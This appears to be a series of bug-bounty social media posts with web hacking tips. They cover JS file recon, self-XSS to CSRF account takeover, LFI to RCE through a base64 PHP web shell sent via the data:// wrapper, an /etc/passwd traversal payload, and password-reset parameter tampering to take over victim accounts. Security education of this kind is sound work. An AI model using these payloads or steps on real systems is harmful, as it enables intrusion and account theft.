⚡Hello Hunters! Ready to find your first bounty? Try this underrated approach! ✨

Most bug hunters go after common issues like XSS, SQLi, SSRF, CSRF, IDOR, open redirection, CVEs, or use automated scanners. But don't sleep on JavaScript file analysis — it's a goldmine for critical bugs.

Automated tools help extract endpoints and sensitive info, but manual JS review reveals the real logic and flow of the app — things scanners often miss.

Here are vulnerabilities you can find just by reading JS files:

1. Authentication bypass
2. Sensitive info leaks
3. Hardcoded credentials
4. Config/env file disclosure
5. Hidden login portals
6. JWT secrets & API keys
7. Outdated services loed CVE to exploit
8. Dependency confusion
9. File upload endpoints
10. RFI → RCE
11. Open redirection
12. DOM-based XSS
13. WebSocket endpoints
14. Hidden parameters
15. IDOR


Pro tip:

don’t ignore <script> tags in HTML/PHP files — they can might triggered RFI, LFI, and more.

Upcoming posts will reveal step-by-step methodologies for JavaScript file analysis to uncover critical vulnerabilities.
Till then, keep learning, keep exploring.

⚡ Hardcoded Admin Credentials Found in JavaScript File 🔥

Hey hunters, always remember to gather as many JS files as possible during recon. Parse them for sensitive URLs — even if they lead to blank pages or unauthenticated areas, those JS files might be calling others in the background. Intercept everything. You might just uncover hardcoded credentials!

POC – Steps
While reconning a target, I found a user signup page. With Burp proxy running, I grabbed some .js files. Inside one of them, I spotted some Base64-encoded strings. After decoding, I found embedded <script> tags referencing more URLs. One of them redirected me to a blank page.

But after deeper analysis, I discovered an interesting endpoint: admin-user-accounts.json. Shockingly, it revealed hardcoded admin credentials — only accessible through specific JS file calls. A critical vulnerability, just hiding in plain sight.

If you find a Self-XSS through a POST request, don’t ignore it.
Build a CSRF proof-of-concept using Burp Suite, and just like that — it’s no longer just Self-XSS.
BOOM, It becomes a one-click account takeover vulnerability.

🔥 LFI to RCE via PHP Wrapper (No Log File Needed!) ⚡

Got LFI but no luck with log poisoning or other tricks? Try this killer method using PHP wrappers:

Example vulnerable param:

page=../../../../etc/passwd

Now craft your PHP shell with base64 encoding:

echo '<?php system($_GET["cmd"]); ?>' | base64

You’ll get:

PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

URL-encode it:

PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D

Final payload (using data:// wrapper):

page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id

BOOM! Remote Code Execution.💥

I also have a wild method to go from LFI to RCE using a leaked phpinfo() page. Want it? Let me know.

⚡ Business Logic Flow to AUTH Bypass🔥

The logic flaw exists in the password reset functionality, and there are two common ways to exploit it—both follow the same flawed logic path:

1. Reset via OTP (One-Time Password) verification code and set a new password

2. Reset via Email verification link and set a new password


Let’s dive into the OTP flow PoC steps:

1. Entered the legitimate email in “Forgot Password”
2. Getting a OTP use this OTP to reset password.
3. Intercept the request before submitting the OTP.
4. Change email parameter to Victim email.
5. Forward the request.

NOTE: You can try this same trick for mobile number OTP verification to change the victim’s phone number instead.

If the web application only validates the OTP but doesn’t check which email or number it was originally generated for, then it's logically vulnerable. This could allow you to bypass authentication for any user, including admin accounts.


Now let’s talk about the Email Link Reset Flow:

1. Entered the legitimate email in “Forgot Password”
2. Getting a verification link to reset password.
3. Verify the reset link and it will be redirect you set new password page.
4. Set a new password and before sending the request intercept in burp.
5. Send request with only changing the legends email to victim email.
6. Forward the request.
Boom — same bypass logic applies!

Pro Tip:
Always tamper with parameters during authentication flows. Here are some common spots to test for logic flaws:

Signup / Registration
Reset Password
OTP / 2FA Verification
Change Email / Number
Password Change (while logged in)
Account Linking (OAuth / SSO)

Hey Hunter's 
Ever seen a Local File Inclusion (LFI) turn into full Remote Code Execution (RCE) using just a phpinfo() page?

Sounds crazy, right? But trust me, it's one of the coolest and mind-blowing tricks you'll ever see in web exploitation!

If you're truly curious and want to witness the full step-by-step Proof of Concept (PoC) tested on a live website.
I'll walk you through every detail — no gatekeeping, just pure hacker knowledge.
This method will seriously change how you think about LFI vulnerabilities!
